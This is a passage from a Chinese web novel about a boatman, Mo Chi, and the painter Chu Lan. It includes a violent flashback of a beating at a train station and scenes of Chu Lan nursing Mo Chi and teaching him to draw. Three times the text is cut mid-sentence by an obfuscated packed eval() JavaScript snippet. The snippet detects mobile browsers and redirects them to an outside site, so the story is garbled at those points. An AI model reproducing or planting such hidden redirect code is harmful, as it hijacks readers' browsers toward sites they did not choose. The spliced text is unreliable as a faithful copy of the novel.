“刚回呢,在楼上洗澡。”陈芳草的语气透着奇怪,“小军你昨晚不是喝多了么,怎么这么早就起来了?” “啊?” 莫池默默拉开初澜架他的手,初澜这才发现对方的手心里全是虚汗。 莫池幽幽看着他,口中却已在朝楼下的唐军喊话: “不是让你在家躺好,又跑来撒什么酒疯?” 他冲初澜轻摇了下头,接着快步走下楼,边走边用一种懒怠的语气说:“昨晚吐了老子一身,借你冲锋衣穿穿,洗完了还你。” 唐军不愧是长了颗货真价实的七窍玲珑心,看看从楼上走下来的莫池,又看看一旁的陈芳草,瞬间领悟,脸上立刻换上副愧疚地笑: “不好意思啊兄弟!那什么,昨天太麻烦你了,不然你今天先休息,我替你开船去?” 莫池的神经稍稍放松了些,暗自庆幸还好他扯谎的对象是唐军不是黄飞宏那缺心眼。 唐军又冲跟在莫池身后一起下楼的初澜打了声招呼:“艺术家起挺早。” 初澜冲唐军颔了下首:“头不疼吧?” “不疼!”唐军说,“我俩喝的好酒,一点不难受,是吧莫池?” 莫池轻轻“嗯”了声。 唐军扭脸对陈芳草笑着说:“姨,我跟莫池上去拿点东西,您先忙着!” “那就辛苦你了哈,小军!” “嗐,哪儿的话。” 唐军说完,走到莫池跟前用胳膊肘捅了捅他,拖拽着他上楼。 初澜给两人让开路,在经过他身边时,莫池低低对初澜道:“快去睡觉。” …… 17.混沌 莫池房门关上的一瞬间,唐军总算长出了口气。 他搓了搓笑僵的脸,转头抱怨:“我说你下次再拿老子出来做挡箭牌的话,能不能事先说一声,咱俩起码串个供?” “没想到你会突然来。”莫池边拉开冲锋衣的拉锁边说,“还行,反应挺快,一看平时就没少跟媳妇撒谎。” “扯淡,老子对媳妇诚实得很!”唐军顿了顿,又问,“怎么样,找着没?” “嗯。”莫池应了声,脱掉湿透的外衣,只穿了件黑背心。 接着从后腰抽出一个用塑料袋包裹得严严实实的信封,朝唐军一扬。 炫耀似的。 唐军“操”了下:“搞得跟特么特务接头一样,是什么机密情报啊?” 莫池顾不上理唐军,往床上一坐,小心翼翼地解开塑料袋,取出信封。 上面同样用透明胶带缠了里三层外三层。 在确定里面装着的“画”并没有损坏,也没被雨水淋湿后,莫池的眉心轻轻舒展开。 唐军也跟着凑上来看,面露意外:“这画的是你吧?” “嗯。” 唐军又凑近了些:“别说,挺传神的。谁画的?” 这话问完,他自己就先得出答案:“住你家那位?” 莫池点了下头,视线仍停留在画上,将卷起的一个小角抻平。 “怎么用了张广告纸?” “你不懂。” 唐军气笑了。 就莫池昨晚那不要命的架势,不知道的还以为是他私藏梵高的真迹不见了呢。 “行,我先走了,你洗个澡好好睡一觉。”唐军从莫池那儿拿了钥匙,离开前终是又忍不住停下道,“兄弟,都过去好几年了。该放下的就放下,不该放下的也可以重新拎起来。” 这回莫池没接话。 唐军叹了口气,不再多劝,将门一开:“走了!” 转眼,房间里又只剩下莫池一人。 他拉开抽屉,将那幅画放进去,上好锁,这才后知后觉地感到头越来越昏沉,脚像踩了棉花。 拎起来…… 他当然也想重新拎起来。 但这就好比盲人要开出租车,瘫痪的人想跑马拉松。 现如今他连一条直线、一个圆都画不出,还怎么拎起来? 其实人有梦想或是没梦想都好。 最可悲的是有梦想却心知实现不了,而曾经却差点得到。 …… 莫池强打精神洗了个澡,之后就把自己摔在了床上。 在一片混沌中,他感到自己的身体在不断向下沉,直到又看见了宿城的火车站—— 天地黑沉沉的被挤压在一起,狂风卷起塑料袋飞入高空,易拉罐滚过马路叮啷作响。 人们用衣服捂着头疾步穿行,汽车喇叭的尖锐声响和车站大屏幕上播放的台风预警新闻掩盖了某个角落正在发生的暴行。 莫池就站在那里,冷漠地看着。 少年被一群人按趴在地,原先缠在额头的绷带被撕扯下来,缰绳般从身后勒在他脖子上,一端握在另一人手中。 他的肌肉剧烈抽搐,脖颈暴露出青筋,眼球像要裂开似的充满血丝,发出野兽一样的闷喘。 然而他越是挣扎,那伙人就越疯狂,大笑着的脸扭曲变形成一组组抽象的线条。 头发被从身后拽着,将少年的头一次次重重砸向地面,伴随着污言秽语地挑衅。 “不是牛逼么?接着横!” 少年自始至终都没开口求饶,额头上渗出血,顺着脸颊留下,蛰了眼睛。 后来对方像是打累了,呼哧呼哧喘着粗气站起来。 “换人换人。” 围着的人群里又站出一个,捋着袖子刚想续上,被另一人伸手拦住。 那人逆着光,朝少年走近两步,在他面前慢悠悠蹲下来,拍着少年的脸。 “不行啊池哥,还以为你多硬气,怎么就逃了呢?害我白去了一趟医院找你。”对方一把扯起少年的头发,“你说当时你跟我们一路不就没事了,非要管‘钵仔’那孬种。你当他是兄弟,人家可不这么觉得。” 话及此处,那人装模做样地叹了口气,“现在好了,美院的专业考试也给耽误了。不过倒还赶得上其他学校的考试,但我又不想让你考,你说怎么办嘛。” 少年咬牙,视线避开那人的脸,去看远处车站顶端的时钟。 火车马上就要开了。 那人大概觉得自己被无视了,“啧”了下,起身接过旁边人递来的棒球棒。 在少年撑着地,艰难想站起时,球棒照着他本就骨折的右臂狠狠砸了下去。 少年“扑通”再次摔回地上。 四下一片“吁”声,手握球棒的人耸耸肩:“都他妈让你别动了,这下真考不了了吧。” “我得…回家…” 少年的喉咙里发出模糊的摩擦声,又要起身,被一脚踹了回去。 “回家?回家找妈妈哭鼻子?”对方一下下颠着球棒,捏着嗓夸张模仿,“呜呜呜,妈妈他们欺负我!” 耳边又是一阵哄笑。 少年闭眼,咬牙强行咽下混着血腥味的唾沫。 “要怎么才能放我走。”他攥拳,哑声开口。比起跟对方说话,更像是本能趋势下的自言自语,“我爸…在等我。” “你爸不就在这儿嘛!”拎球棒的人笑着说,“我们都是。乖儿子,找哪个爸?” “儿子,找你爹干啥?” “来儿子,亲爸爸一口!” 拎球棒的人带头笑得前俯后仰,末了冲少年吹了声口哨:“爸忙着跟你妈生小孩,没功夫搭理你。” 啪。 他听到有什么东西彻底断掉了。 乌云遮住太阳,最后一缕光线消失殆尽。 角落里的黑影因为一人的腾然跃起瞬间变得骚乱,打骂声渐渐变成惨叫,又被狂风“呼”一下淹没。 美工刀推开露出锋利的韧,寒光过后,棒球棒“当啷”掉落在地。 黑白的世界被一片鲜红晕染。 而后,是频频耳鸣。 再往后,万籁俱寂。 强对流天气造成的强降水,将那些红色冲淡,蜿蜒流入水沟。 先前还嚣张着的一张张面孔,此时全都变成了统一的恐惧表情,在暴雨中惊叫着四散,跌撞成一条条歪七扭八的线。 远处传来火车的汽笛声,车轮滚滚,轰隆隆离开宿城。 少年曾用来画画的手,此时握着美工刀,慢慢走到广场前。 他抬头又朝那巨大的时钟轻轻看了眼。 他知道,他已经回不去了。 …… * 一阵规律的敲门声将莫池唤醒,他猛地睁开眼,短暂分辨了下此时是现实还是梦境。 直到屋外响起初澜温和的声音:“小池老板,感冒药我给你放门口了。” 莫池本想回应,但一开口嗓子就跟着了火一样,嘴唇动动愣是没发出声音。 初澜见屋里还是没动静,将水杯和药摆在一旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150596|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置物架上,转身离开。 刚走出几步,身后传来开门声。 初澜停下,回过头,接着眸子微微暗了下—— 莫池倚在门框上看着他,向来挺拔的身型此时稍向前躬着。 他的脸色极其难看,胸口起伏地有些急促,一双幽沉的眼睛里也布满红血丝。 怎么看都是一副明明快难受死了,还要强作镇定的样子。 初澜当即返身回去,站在莫池跟前。 静了下后,抬手摸上莫池的额头。 冰凉的掌心贴上滚烫的皮肤,带着一种令人贪恋的舒适。 但莫池还是马上就抓住了初澜的手腕,偏过了头。 他的呼吸打在初澜的指尖上,同样烫得吓人。 初澜任莫池抓着他的手,严肃道:“好像烧得更厉害了,去医院吧。” “不用。”莫池哑着嗓子,顿了顿说,“吃个药再睡一觉就好了。” “起码先量个体温,我刚顺便把温度计也带上来了,用手测得不准。” 见初澜坚持,莫池犹豫了下,还是慢慢松开抓他的手。 初澜取过放在感冒药旁边的体温计,本想跟莫池一起进屋,但又想起对方不习惯外人进他房间,于是道:“你自己量,我在外面等你,量好了跟我说一声。” 也不知是发烧脑子不清楚,还是生病的人难免有些脆弱。 莫池竟默默向旁侧了些身,给初澜让出进房间的路。 初澜愣了下,用眼神确认莫池的意思。 对方微微垂着眸不看他,也不说话。 初澜轻叹声气:“回去躺好。” 莫池低低“嗯”了声,等着初澜先进入房间,才跟在他身后一并进去,关上了门。 初澜让莫池躺在床上,将温度计夹在腋下,自己则是坐在了一旁的椅子上。 测量体温的这段时间里,莫池一直在用那双烧得通红的眼睛看着初澜,像在极力确定这人存在的真实性。 初澜被他盯得有些莫名,问:“很难受?” 莫池摇摇头。 “想喝水么?”初澜劝,“忍耐一下,先量完体温再喝。” “初澜。”莫池忽然开口叫了声,声量很低,很涩哑。 “你干嘛要来啊。” 干嘛要来啊… 在他已经要彻底接受命运的安排时,干嘛要来。 初澜自是听不懂这句话背后的言外之意,于是只就事论事地回答道:“我不放心你。” 莫池沉默了。 许久后慢慢闭上眼,只觉得胸口某处像是被灌入一道暗流,沿着干涸的血管源源不绝地汇入心脏。 他无法形容这样的感受,疲惫、无力、难以招架、还有潜藏其中的一丝丝温暖…… …… 温度计好像坏了,接连量了两次都在三十五度以下。 莫池好像睡着了,呼吸仍有些快,眉心紧紧蹙着,看得出来很难受。 初澜不忍将他叫醒,把温度计装进盒子里,起身来到床边。 稍纵,他弯下腰,撩开莫池额前的碎发,将自己的额头轻轻贴了上去。 床上的人一动不动,急促炙热的呼吸喷薄在初澜脸上。 太烫了… 初澜直起腰往卫生间走,打算接盆水来帮莫池物理降温。 就在他转身去往卫生间时,身后的人悄无声息地睁开眼睛。 眸底是暗涌的慌措。 初澜贴向他的时候,莫池觉得心脏都骤停了。 …… 18.颜料 撩水声回荡在房间里。 初澜把毛巾浸湿后拧干,将莫池的一只手臂从被子里拿出来,用毛巾细细擦过。 而后清洗毛巾,换另一只。 再是脖子,耳后…… 房间里拉着窗帘,室内光线有些暗,以至于初澜并没注意到床上的人此时耳廓和脖子都在发红。 初澜的动作很轻,水温也被他调得恰到好处,被擦过的地方有些清凉,虽然很快就又烫了回去。 莫池的唇越绷越紧,喉间悄然划动。 待初澜帮他擦完上半身,打算再给他擦大腿内侧和膝弯时,莫池一把将他按住。 初澜抬头:“醒了?” 莫池低哑地“嗯”了声。 他不是醒了,是压根没法睡。 “我自己来。”他说着夺过初澜手里的毛巾,“忽”地坐起身。 擦得非常暴力,像在用砂纸刮墙皮。 “你这样是降不了温的。”初澜难得看到莫池笨拙的模样,纠正说,“要擦大血管流经的位置,大腿内侧、腹股沟。” 莫池觉得感冒药大概是起效了,随着初澜的话他身上浮起一层汗。 他绝不可能在对方面前擦什么腹股沟,更不可能让初澜帮他擦。 于是闷声道:“不用,我好多了。” 初澜看出他的局促,不再勉强,点头说:“我不看你,你自己擦。” 说着背过身。 “你先出去吧。”莫池抓着毛巾,直直盯着床角,“我擦完再睡会儿。” “好。” 初澜知道自己留在这里会让对方不自在,轻点了下头,又说:“体温计坏了,岛上有卖的么?” “没有,我让唐军带。” “嗯。” 初澜开门离开了房间。 对方走后,莫池又独自静坐了会儿,这才慢慢放松自己。 他的心脏还在急促跳着,这感觉十分邪门。 莫池自认他从没有什么肌肤接触厌恶之类的毛病,平时唐军或是黄飞宏喝多了,他也经常直接将人扛回家。 为什么偏在被初澜触碰时,会有这么大反应? 就好像每一块肌肉都被打了石膏,动弹不得,偏偏神经还变得极度敏感,仿佛有了自我意识,不断向大脑叫嚣着发送尖锐的信号。 也许恰恰因为对方是初澜吧。 那个在他心目中犹如神明般存在的人,双手本应去创造和接近美,而不是触摸烂泥。 莫池机械地擦着汗,脑海里仍不受控制地一遍遍回忆方才初澜触碰他时的感觉,回忆对方的温度和身上的味道,只觉得心绪越来越乱。 最后他将毛巾往盆里胡乱一扔,直挺挺躺了回去,一股浓重的自厌情绪油然而生,映在眼底。 他觉得自己的每一次回味,都是对那人的玷污。 就这样,莫池在乱七八糟的思绪和发烧的双重绞缠下,再次陷入了混沌的梦里…… …… * 说到底还是年轻人,加上平时底子好,莫池在睡了一天一夜后,身体明显恢复大半。 初澜自始至终都没再追问他那晚到底去哪儿了,干了些什么。 这个人总是很擅长跟人拉开一种舒适的距离感,既不显得冷漠生疏,又很有分寸。 那张宣传页被莫池永久锁在了抽屉里,对此毫不知情的初澜果断开始重新绘画,用的是莫池给他买的颜料和纸笔。 接下来的日子,初澜大多数时间还是会和莫池一起去码头。 莫池开船,他就在一旁安静地画画。 有了好的绘具,作画的速度自然也快了不少。 转眼间已到了最后的上色环节。 这天晚上天气晴朗,两人和陈芳草一起吃完晚饭,莫池又帮着洗了碗后,便跟初澜一起坐在一楼的露天平台上乘凉。 蚊香徐徐燃烧,灰烬无声掉落。 藏在花架草丛里的夏虫悉窣鸣叫,头顶的灯罩外盘旋着几只飞蛾。 莫池一手夹着烟,靠在藤椅上,望向江面。 初澜抱着画板坐在灯下,时不时抬头看莫池一眼,再在纸上添几笔。 他的旁边放着调色盘和颜料,身上系了条围裙。 头发比刚来的时候长了不少,不得不用皮筋在脑后扎了一个揪。 初澜在画画时很投入,并没注意到莫池不知何时已将视线默默从朔松江上收回来,调向他这边。 沉水般漆黑的眼眸定格在初澜脸上,有些出神。 像是遇到了什么麻烦事,初澜盯着画板看了好一会儿,终是搁下笔,眉头拧起。 莫池注意到他的神情,也跟着回过神。 “怎么了?” 初澜很轻地摇摇头,目光仍停留在画板上。 “总觉得哪里不对劲,又不知道是哪儿。” 他思索着自言自语,手无意识托在下巴上。 这是他每每陷入思考时惯有的小动作,先前蹭在手背的一点颜料此时也顺带染在他的颊边,给那张漂亮却总是很沉静的脸增添了几分迷糊的生动感。 莫池掸了下烟灰,起身朝初澜走来,站在他身后。 当看向那幅画时,莫池的眸底微颤了颤,接着变深—— 他不知道具体该怎样形容,只觉得初澜用一种非常轻柔的力度,便捉住了一整个黄昏,将这短暂的美丽时刻永远定格在了画纸上。 坐在驾驶座的自己,浸在余晖里,明暗交错的线条完美呈现出这个时间段特有的光影。 即便是静止画面,他手里烟头的火光也仍像在熠熠跳动,比图画更动态,比影像更浪漫。 莫池像被摄取了魂魄,专注而又恍惚地看着画纸。 这样的感受他曾经有过,在很久以前的那堂美术课上。只是眼前这幅画比当年更有温度,没有隔着任何媒介,以一种最直观的方式呈现在他眼前。 莫池觉得血液正通过四肢百骸迅速灌入心脏,不断挤压,滋生出一种强大的缺氧感。 烟头燃尽,积攒的长长一截烟灰落在地上。 火星烧了他的手,但莫池丝毫没有察觉。 初澜正在懊恼,忽然就见一只手凭空出现在画纸前。 指腹直接按进调色盘里,蘸满颜料,在天与水的交界处抹出一道苍劲的深红。 初澜的眼睛随着深红的涂抹一点点放大。 他知道这幅画在此时此刻已经正式完成了,因为找回了夕阳落尽时那最后一缕颜色。 在对方的手撤开前,初澜一把将其抓住。 未干的颜料染在初澜手上,像团滚烫的血液。 莫池被他一抓也清醒过来。 手指局促地蜷动了下,尝试抽开却因对方力气过大,没能成功。 两人维持着这个姿势又经过了不知多长时间。 莫池默默吞咽了下,垂眸看向初澜,迎上对方凝思的眼眸。 莫池被看得心里又开始乱,错开视线低声说:“手,弄脏了。” 初澜没说话,继续注视着他。 莫池知道初澜在想什么,他自己其实也在迷惑。 但仔细想来倒也并不奇怪,就算一个人再提不起画笔了,残存在骨子里对色彩的感知也是不会消失的。 可这又有什么用? 文人满腹经纶,却被封口断手,依旧作不了文章。 徒留的也只剩下不甘。 他不是没尝试过克服,但如今画笔早已与那段血淋淋的记忆生长在一起,沦为一种赤裸的生理反应。 不随他意志,也不随心。 莫池渐渐冷静下来,使出些劲将手从初澜手中抽出来,转身到一旁的水池冲洗。 初澜看着他的背影,他确认莫池应该不会画画,这从先前他在广告页上描摹的痕迹就能看出来。 但不可否认,对方对于色彩的理解绝对是有天赋的。 天赋是一个人最可遇不可求的东西。 “莫池。” 初澜唤了声,又静了下:“真的不想试试画画么?” 他知道自己问了句多么遭人烦的话,却还是忍不住说,“你很有天赋。” 莫池继续洗着手,迸起的水花溅在他的黑背心上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161841|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 末了关掉水龙头,漫不经心道:“什么天赋,就是常识,你随便找个在江边住久的人都知道这个时间段长什么样子。” 他甩甩手,扭过头:“晚了,睡——” “睡觉吧”三字还未说完,他就又停住了。 他看到初澜眼中闪过一丝淡淡的失落,垂眼时,眸光明显暗了下来。 “知道了。” 初澜笑了下。 莫池抿唇,胸口随着初澜这个笑容变得发堵。 曾几何时,他也无比盼望着有朝一日,能在这个人的眼中看到由衷的期许与赞叹。 而不是现在这样。 …… * 夜深人静时候,二楼的房间里依旧亮着一团暗光。 莫池坐在床边,桌上被当作烟灰缸的八宝粥筒里又添了不少烟头。 从和初澜分开,进入房间开始,他便一直这样一动不动地坐着。 他无法阖眼,因为一闭眼就会看到初澜那双带着失望意味的眼睛。 在不知是第几支烟抽完后,他终于动了。 起身拉开桌子的抽屉,从里面取出那只铁皮文具盒,将其打开。 视线在那些躺着的文具上落了会儿,顺着边沿摸到夹层缝隙,用手一抠,将上面一层取了下来。 ——第二层的空间里只放着半截断了头的铅笔,和一枚折叠刀。 铅笔头还是他上次描初澜的画时削断的,之后便和折叠刀一起被扔在了下层。 莫池将铅笔和刀拿出来,他的手在触碰到折叠刀时又开始不可自控地发抖。 他用一只手死死按住握刀那只手的手腕,沉默地与之对峙。 无数凌乱的碎片如同洪水泄闸般疯狂朝他涌入—— 台风、通知书、美工刀、车站时钟、汽笛轰鸣…… 期许、骄傲、自尊、惊叫、羞辱、绝望、麻木…… 黑色、红色、红色、红色、红色…… 木屑簌簌掉落,铅笔在接触到颤抖的刀片时又开始变软,像在划肉。 莫池看到有粘稠的血从笔端渗出来,笔身的纹路扭曲成惊叫的人脸。 一股强烈的恶心从胃里烧至喉头,他干呕了下,强行将其咽下去。 铅笔越削越短,最后只剩下一个笔头,却还是断的。 莫池面无表情将其扔进垃圾篓,又从文具盒里拿了根新的,重新开始削。 在这近乎自虐般的刻板行为不断反复中,天色已悠悠转亮。 折叠刀连同铅笔头一起,再次被扔进文具盒的夹层里,锁进抽屉。 莫池起身到浴室冲了个澡,又换了件干净衣服,出了房间。 当初澜按照时间起床,将自己收拾好,准备下楼等莫池一起去码头时,一开门就看到对方出现在楼梯口。 倚着扶栏,淡淡望着他,双手背在身后。 从这个角度,初澜并看不到莫池的手其实是在发抖的。 一只手在背后强按住另只手的手腕。 “我起晚了么?”初澜昨晚给自己加了安眠药的药量,还以为睡过头了,忙掏出手机确认时间。 莫池没回答,朝他慢慢走近,在初澜面前站定。 两人的身高差导致他看向初澜时,自带了层淡淡压迫感。 “我想试试。” 良久,莫池开口。 他嗓音间带着沙哑,“但我很笨,大概学不会。” 初澜愣了愣,随即很快反应过来对方是在说画画的事。 平静如水的眸子里渐渐升起一抹温和的亮光。 “嗯,好啊。” 他冲莫池牵起唇角,轻声道:“别急,我们从头开始。” …… * 此时此刻,抽屉里的文具盒夹层中,铅笔头正静静躺在里面,顶端露出黑色的石墨芯。 虽然还是很钝,但这次终归没有再被削断了。 当莫池在逐渐变淡的天光里,放下折叠刀的瞬间,眼前最后出现的并不是那些血腥的画面。 而是夕阳下站在江边,回头看他的初澜。 …… 19.4732 事情正式确定下来后,初澜开始在每天晚上固定用几小时教莫池画画。 事实证明,莫池的基础是真差,就连最起码的“排线”,也就是画线条都很难完成。 但同时也让初澜感到意外的是,对方在画画这件事上有着超乎一般初学者的耐心。 甚至可以说非常珍惜这段时间。 看着莫池抖的如得了帕金森似的手,初澜起身来到他身侧。 纸上的线条画得歪歪扭扭,像蚯蚓在爬。 “不是这样的,小池老板。”初澜俯下身,在莫池身边说,“你太紧张了,手腕要放松。” 他说话时和莫池贴得很近,莫池甚至可以清楚感受到初澜的呼吸。 初澜的身上总有一股类似草木的味道,清新温润,明明没喷香水,用的也是和自己一样的洗衣粉。 在又一条蚯蚓成功诞生时,初澜伸长胳膊,握住了莫池拿笔的手。 莫池的肌肉蓦地一僵,蚯蚓在纸上笨拙拐了弯,更扭曲了。 “手不要抖。” 大概是为了操作起来方便,初澜绕到莫池身后,弯腰从后方再次把手覆盖在莫池的手上。 两人存在一定体型差,初澜没办法完全环住莫池,只能尽量将胸口贴近对方的脊背,下巴虚虚抵着莫池的肩膀。 “别把它当成是笔,想一想你擅长的东西。”初澜轻声指引,“比如方向盘。” 初澜拉着莫池的手,带动他画出一条线。 “笔是你的方向盘,纸是你的船,你现在要把它开到对岸去。” 初澜的呼吸轻轻扫在莫池的脖子和侧颊上,有些痒。 莫池喉间滚了滚,努力调动着自己的注意力,可身体就是控制不住地越发紧绷。 联想法对他不起作用,莫池此刻根本没办法带入到什么方向盘、船和对岸,就只有初澜的声音、味道和侧脸…… 他又陷入到了深切的自我怀疑里,觉得自己脑子一热,可能做了个极其愚蠢的决定。 精力一旦分散,其他杂念跟着就冒了出来。 背上的汗出得更多了,黏糊糊的很不舒服,背心也湿透了。 初澜贴着他的后背,应该感觉到了吧。 自己在外面开了一天船,回来还没洗澡。 有没有汗味? 熏着他没? 此时耳边突然传来清脆一声,初澜伸手到莫池面前打了个响指。 “同学,你在跑神么?” 莫池眸子轻轻颤了下,迎上了初澜似笑非笑的眼睛。 他有些尴尬地别开脸,低低问了句:“你热不热?” “还好,不热。” 初澜说完也意识到可能是自己离莫池太近了,让他不自在,于是松开握莫池的手,直起身,“要不今天先到这里,你早点休息。” 对方撤开的一瞬间,莫池只觉得手和后背同时凉了下。 像有什么东西被一下抽走,心里莫名发空。 “还能再练会儿。”他下意识就说。 顿了顿又道,“你累的话先去睡,我自己再练会儿。” 初澜看着他汗涔涔的样子,又看了看纸上被手汗濡湿的印子,返身到一旁将电扇开大两档。 当初澜的胸口再一次贴向莫池的后背时,莫池轻轻闭了闭眼。 鼻息间满是对方的味道,他听到初澜对他说:“那就再练会儿。” 四周再次静了下来。 初澜握着莫池的手在纸上反复画着单一的线条。 此前,莫池也曾不止一次地想象过,自己坐在宿城美院的画室里听初澜上课的画面。 他会是怎样一种授课风格? 艺术家的脾气多数有点怪,可能偶尔会毒舌? 又可能他只会跟那些足够优秀的人多说几句话。 反正不会像现在,握着一个连线条都画不好的人的手,苦练基本功。 真实的初澜,远比他想象中的更亲切。 莫池又听到了自己的心跳声,吵得他心烦。 他深吸口气,尝试着平复,接着便在这样的频率里捕捉到了另一个心跳。 隔着后背,平和而规律地跳动着。 和它的主人一样淡然随和、波澜不惊。 莫池开始跟随着这颗心跳运动手中的画笔。 心脏每跳动一次,他便跟着画一根线条。 渐渐地,他变得平静下来。 那些乱七八糟的念头通通被他抛诸脑后,整个世界就仅剩下那一声声规律而沉稳的心跳。 不知何时,初澜已慢慢松开手。 他的眼前,那个人正熟练地在纸上画出一条又一条灵动的线条。 干脆流畅、轻重有度、层次分明……怎么看都不像是一个初学者。 这就是天赋么? 初澜眉头微微拧起,眼底夹着思索。 以至于当莫池画满了整整一张纸,停下来看他时,初澜才恍然回神。 莫池的眼中同样带着些意外,但仅仅只一瞬,便又重新归于平静。 “我好像进步了。” 他把纸往初澜面前推了推。 初澜点点头,由衷道:“进步很多,像一下子开了窍。” 他掀起眼睫,微微弯起:“找到开船时候的手感了?” 莫池撇开视线,淡淡“嗯”了声。 “看来我的教学方法挺奏效,下次可以尝试开始画静物了。” “。” 他没有告诉初澜,就算这张纸上此刻画满了密密麻麻的线条,他也还是知道自己一共画了多少道。 4732。 那是在这一小时内,初澜心脏跳动的次数。 …… * 院门突然被推开了,黄飞宏左手一只鸡,右手一只鸭的大步跨进来。 唐军跟在他身后,提着个油纸包的桂花酥。 黄飞宏一迈进门槛就开始鬼吼鬼叫:“卧槽这天热的是真没法过——” “了”字还没开口,又被他生生咽了回去。 只见黄飞宏一对牛眼眨了眨,刚跨进一半的脚定在那里。 ——他的眼前,莫池正坐在桌边,另一道清瘦的背影俯身依偎着他,两人脸贴着脸,凑得很近。 听到动静,莫池偏头朝黄飞宏扫了眼,眉心很轻地皱了下。 黄飞宏迈进的那只脚也收回去了,接着一把扯过唐军调头就撤。 “走走走,池哥处对象呢。” 唐军反手拍了他一巴掌:“瞎啊,处个屁对象,那是初老师!” 黄飞宏“啊?”了声,见初澜也回头冲他打了个招呼,这才出了口气,快步走到两人跟前把东西放到一边。 边比划边对初澜说:“哥,你怎么还扎起小辫子了!从背后看以为是哪家大闺女呢。” “你特么会不会说话?”唐军道,“人家那叫有范儿,艺术家都这样,是吧初老师。” “就是长了。”初澜笑笑,“一直没顾上剪,太热就给扎起来了。” “让我池哥给你剪啊!”黄飞宏抢着接话,“他技术好得很!不开船开家理发店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176368|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,镇上的同行就都别想干了!” 初澜闻言看向莫池:“你还会理发?” 莫池起身翻出包烟,分别扔了根给唐军和黄飞宏,自己也叼上一根,淡淡道:“会点儿,图省钱。” 他将烟点燃,又抬眼看了下初澜:“你不用剪,就这么扎着挺好看。” 莫池曾在一份采访初澜的艺术杂志上看到过他的一张照片。 就像现在这样,把头发在脑后扎成一个揪。 比他刚来这边时看着活泼,像大学生。 后来莫池把那张照片剪了下来,至今都还在他桌上的相框里夹着。 莫池问唐军和黄飞宏:“你俩这个点过来干嘛?” “当然是给你送东西!”黄飞宏说着,又把他放在桌上的东西重新拎起来,吊在莫池面前,“泉水鸡、竹笋鸭,神仙吃了也跳墙!” “哪家的?” “在岛上的青龙洞附近。”唐军道,“我跟飞宏送货的时候从那儿经过,味道是不错,这包桂花酥也是他家的。” 黄飞宏:“唐军非要给你们带回来,我说带回来的不好吃,得现场吃才鲜呢!” “改天你带着初老师一起去。”唐军说,“人家好歹来段时间了,天天就陪着你上船下船,都没好好转转。” 莫池点头:“行,就这周吧。” 唐军又看向初澜:“初老师来多久了?” “大半个月了。”初澜道。 “不如干脆就别走了!”黄飞宏说,“咱们这儿多好,山好水好空气好!” 唐军“啧”了声:“你当谁都像你这么闲?人家初老师没正事干的?” “是不能一直待在这儿。”初澜说完,就见莫池的脸色微微沉了下,将头调向一边默默抽烟。 初澜以为莫池是怕自己没时间教他画画了,又温声补了句,“不过倒也没那么急。” 莫池的眉头舒展了些。 此时黄飞宏突然大叫了声,整个人趴在桌上,把先前莫池画画的那张纸拿起来,拉近拉远地来回看。 “这画的什么虫,这么丑!” 莫池骂了声,伸手把纸抽走了。 初澜解释:“在打基础。”他看了眼莫池,继续对黄飞宏说,“我在教小池老板画画。” 这话说完,黄飞宏和唐军同时一愣。 黄飞宏瞬间像是打了鸡血,激动道:“莫池哥你、你……” “你们早点休息!”唐军迅速堵住黄飞宏的话,将人揽到一边,回头对莫池道,“那什么,我俩还有事,先回了哈!” 他又看着莫池顿了下,“你好好学。” 接着望向初澜:“辛苦了啊,初老师。” “不辛苦,小池老板有天赋。” 唐军笑笑,视线在初澜和莫池之间来回了下,最后落到莫池身上。 “必须的。” 黄飞宏掰开唐军勒他脖子的手嚷嚷:“初澜哥你不用教他什么基础,我哥牛逼着呢,他——” “唐军你们路上慢点。”莫池出声打断。 唐军点头,反手一把将黄飞宏勒了回去。 “走了傻逼。” 唐军拖着黄飞宏走远了。 他其实也不清楚莫池为什么要从零基础开始学起。 从目前的状况看,初澜似乎并不知道莫池以前就会画画的事,莫池也不想提。 信息汇总在唐军那颗七窍玲珑心上转了圈。 最后得出的答案是,兄弟不说自有兄弟的原因,能重新拿起笔,那就是好事! …… 20.剪发 唐军和黄飞宏走后,初澜看时间也不早了,便结束今晚的“授课”。 他的头发真有点长了,发质又软,低头收拾画具时,鬓角的发丝总会扫到调色盘。 初澜不得不将脑后的皮筋摘掉,重新扎了遍,对一旁的莫池说:“你不然还是帮我剪一下,这样半长不长的太不方便了。” 话语间,碎发再次从皮筋里滑落,他叹声气,“或者推荐个理发店,我明天到镇上剪。” 绒子镇开理发店的就没几个是正儿八经学这个出身。 毕竟游客不会专门跑到景区理发,当地人又对发型没多大要求。 